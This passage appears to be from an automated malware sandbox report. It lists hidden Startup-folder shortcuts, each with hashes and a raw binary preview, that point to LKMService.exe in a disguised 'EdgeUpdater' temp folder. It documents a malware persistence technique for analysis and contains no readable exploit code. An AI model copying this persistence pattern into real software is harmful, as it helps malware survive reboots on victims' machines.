Preview:	L..................F...."......P....XgP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......gP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1b84567656d54760af0052b6067e3308.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:46 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94236155134753
Encrypted:	false
SSDEEP:	24:8p7RjeYl1RogKrA5+W8Ajfv/42egvqyFm:8p7Rjr1R8AZjvgTyF
MD5:	4108E7D267568057EBF74670A7C591AA
SHA1:	062FF4FF51468F79C5153F2758E6FBA2FB22EBE3
SHA-256:	B4B0B4DD6C67784A07031B038A92C2D4DFEA98D8005568E0FF3EB5016E757FB3
SHA-512:	225AB655CD1203606528F3FDF9E31205A450C78325C155B739955C4D968C047E0808DB634B408516A15DA6CF5938AE1CCAEB3E78F5EBEB025FD487687DA180D3
Malicious:	false
Preview:	L..................F...."......P......:P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1c59d7c5c608484bb0c3974b253504b8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:40 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.937231104635316
Encrypted:	false
SSDEEP:	24:8peRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8peRjr1R8AZjvgTyF
MD5:	081E77D600784B0B4B31425E930962F6
SHA1:	79928274602126606121598724B518755A4C2B1E
SHA-256:	9A7FD634672531DFB6595C19312CB8EEF4BFCC601CE101976B703094AF7F891C
SHA-512:	512CEE5382A8E3D6A6A58C106EB5E045BC2130E0943966D3B6DCDB7084C96F4BE83355ECF40804A384736C234D31BBED16168F4A352E49FAA32254E64006DA19
Malicious:	false
Preview:	L..................F...."......P.....L7P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1ea4621d390848b0a71a0c8dffe5156b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:48 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.936296495644835
Encrypted:	false
SSDEEP:	24:8pzRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pzRjr1R8AZjvgTyF
MD5:	BCD6B3A921451720D298572F4C987CA9
SHA1:	E03989D6657CBD8C6E78D84D2F32AB5B40568C8B
SHA-256:	09C4AFA3DB29D713F4ED3F5D13E21A3E67B94C54F80A2AFED64EDA97FE01EC43
SHA-512:	E04F79FB5A67E0898DD6CA3AA3DEA89E5669D1C2793B4D6E8A136BF44ADA75363F2D57416DBA4B7944003FA5DCD9155E714FC74E96DA356808845EAC8EBF22EB
Malicious:	false
Preview:	L..................F...."......P....^0<P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_1eedc420d3c442fca18214337e8a8d48.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:58 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94067378763445
Encrypted:	false
SSDEEP:	24:8pKvRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8p6Rjr1R8AZjvgTyF
MD5:	7DB891092928B7ECDB1D00F7C2A20CB2
SHA1:	C8BBCBD3B8C131D15BBFA6A2A112B2CC86989A6A
SHA-256:	1D89CE1A7C76B6831D81AE0D4513D24C3C1FB407681DF32A6A079B24E86F7654
SHA-512:	42800BE561CF5E97CA7E1DCF3259434CE50E4AB2E10253994188BBEB9E54AD430211A09CFB26AD25A136DFDC2DC06959477CA6F8319B6B248BB0E8EC9EB0C8B0
Malicious:	false
Preview:	L..................F...."......P......AP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_20184c95f91148f28d199e72f5151a5e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:11 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9375817643981454
Encrypted:	false
SSDEEP:	24:8p9RheYl1RogKrA5+W8Ajfv/42egvqyFm:8p9Rhr1R8AZjvgTyF
MD5:	5E2CFAE7EA530F1BD8F481D00AB39201
SHA1:	20A2D9828CB72A131E1DB17328B8C4FA795A8345
SHA-256:	B3CEDC7E88BD5F73D115A5C226AAEA0FB02F6BE20CC653089322411B0DD886AA
SHA-512:	29739C1A9D3A9A067636A4D455B4378A78DAFAE65C7F9267F35E900785A6890E0624F4398E8A778C33E76DCDC65CD8B5078727222008F0258FA5020A5FEE438D
Malicious:	false
Preview:	L..................F...."......P...&H.IP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....GP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_217ab5a39a494a84a9c9b9f3d9267445.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:34 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94236155134753
Encrypted:	false
SSDEEP:	24:8pqRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8pqRkr1R8AZjvgTyF
MD5:	8B8B3AD3E35A903D0ED91115A3E4B696
SHA1:	78AC24F89DB601EFCA96177D06869E992D717FE2
SHA-256:	82604483D507CE43773F057722C641007722BB4ED4C6569C07B4BDAC036EA47F
SHA-512:	9B0F13376F93E1FC2E078C43B5617863DF996502F7CE3430073E2E9BF1B80383B99FB436265904E833E0E504255B762DC57C7C2B853D03750D9F212B66D5A101
Malicious:	false
Preview:	L..................F...."......P.......P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_22e5f086ff884c3b88899dd69f5e7c0e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:51 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9398817150510075
Encrypted:	false
SSDEEP:	24:8phRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8phRBr1R8AZjvgTyF
MD5:	CDBE90B39C88A9B2A5ED6592F729CEB4
SHA1:	57CDE247E83891C0FAE7A4DE1FF380DBEBF98AF2
SHA-256:	0FE44A68CBE07397365DD8AE86E58317253EFF55A65DB656E983472DA9E4BBB1
SHA-512:	350520900460BFF25735091CAE2F348353543248F2C3F9F1E9770BC1D26F24EF989D0B00EF452879D00AC31D4BAF067610F1DDD355ABFA82E09A791346147C7B
Malicious:	false
Preview:	L..................F...."......P....{..P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_234289a5f34e4afaa6298bf5e89a18ab.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:06 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.937192186774474
Encrypted:	false
SSDEEP:	24:8pfsRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8p0Rjr1R8AZjvgTyF
MD5:	7189B228AF7D3CFA71EB1A2A5E5468A3
SHA1:	087BB9C7B1B06BB689E9066D8B23AA94BDEA872E
SHA-256:	278D1C5989681D71F1C0BB55360FF1ACF539C9F8A4468EF802C238983DCB4F30
SHA-512:	B205169166B28B26506BCA10214018C28560D43B095F29C3B0BC4C51A22CCAE2243665D74FF5D7A8A4BF880FE44F3E1823688C0A3ED6AF9B29372B7ADD2F2D0A
Malicious:	false
Preview:	L..................F...."......P....D.FP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_23d13120aeed491f8ae1f8e810449fbe.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:09 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.942914312556015
Encrypted:	false
SSDEEP:	24:8pzRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8pzRBr1R8AZjvgTyF
MD5:	1F092860E0051A718122912DF6088A10
SHA1:	82E5502051F7C816676844E6A584C937D5F2CD26
SHA-256:	90B8BE527EDF3AD62A183201DF77A6335A4024AD7B0D8326CEE086F7F5AB2315
SHA-512:	70C68C2E3F89AA0DE5E15C30114B039156659E1F7AA3167AE3DEA14DDB7A20F5D391D79C1349E2815E3C7B2CD8F37A1C6D4E1EA2C89C02D77CC4263C87144EC2
Malicious:	false
Preview:	L..................F...."......P...}u.$P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_27fadb4ee6b8480ca7125165a4d8a93f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:59 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.945015768248565
Encrypted:	false
SSDEEP:	24:8p7RBeYl1RogKrA5+W8Ajfv/42egvqyFm:8p7RBr1R8AZjvgTyF
MD5:	B8FE467A0A8D253D492BEE19AAC6C957
SHA1:	F1F42087806DAF7F151EE989A5A35E4200B75383
SHA-256:	B93C0BC278FCAB99D8DD8FA916C74844F0F82F2B25630C05AE3E2DA97BEA409D
SHA-512:	1BFCF3B415DE7561E9BF27536F7573CECC5B77C265E57F358406CE01F4F73BE9B09B8AF92BEBF1796AB558B658DE06AFA65D2595CA053914A87F587D31CD80C4
Malicious:	false
Preview:	L..................F...."......P......P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_2879c60006bd4f64b15209bb1ee6cebf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:13 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.937518227695374
Encrypted:	false
SSDEEP:	24:8pgjRfeYl1RogKrA5+W8Ajfv/42egvqyFm:8pgjRfr1R8AZjvgTyF
MD5:	1FB801B5AFE004C19243A9684A2B4CDC
SHA1:	E44A53AD97B548D6234EEEC77D4C485509FCDC56
SHA-256:	3F37D3782346F821D135D63BDA3A7645D4D42260C1C31D299F51261B85B83D2B
SHA-512:	DBA411947B948A53F95F39918F47E1050F6C01C6A0A6AC910DC557F96D54F8566E72DA9791D4FA5B08B9237F132E0CEAB42EC4BA38D36F1633FC7729604A4083
Malicious:	false
Preview:	L..................F...."......P....2.nP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...c..lP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_299ef4500ff444a7878c71276737d16a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:14 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941912547992561
Encrypted:	false
SSDEEP:	24:8pqRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pqRjr1R8AZjvgTyF
MD5:	1940CC4E151E8BD0E5F04D89618E5BAA
SHA1:	7791452C9ED3A95BCFAD612F5AC96128CE7EA7AF
SHA-256:	F3A5FE26CCB991623C96454A607A7E564D7B8F42053E76F6E02A20B46B125693
SHA-512:	21EB7678E43B06A961586C9FB4A7687AECD0732472D8A3C14B4B4FFEF4C77966604D28922F6F65C1BA3A04D4017E6048876335C9C41BF020AFFC9A5E07D2D6FF
Malicious:	false
Preview:	L..................F...."......P...d..'P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_29e9667de0f44cee8802f9fd6fe0c816.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:26 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.945546730681554
Encrypted:	false
SSDEEP:	24:8p6RueYl1RogKrA5+W8Ajfv/42egvqyFm:8p6Rur1R8AZjvgTyF
MD5:	672D61BF29697EDD96C67448FDB9A8D6
SHA1:	2864A8590D875093E51C61B8B27BC8EB945BDA90
SHA-256:	383DC22B6C0EAD17B837A60DF43EE89ADA4DE5FF04ECDB11ACB09644BABA14F6
SHA-512:	7C138DD7C9C7559FDCD74B5AAD329E32504341DAF695963A4805EEDABB666E1240D5D667ED4E5A583C65AEF2BA9B8351F0826D06AF01194499CE5E357C170B55
Malicious:	false
Preview:	L..................F...."......P....~~RP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......QP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.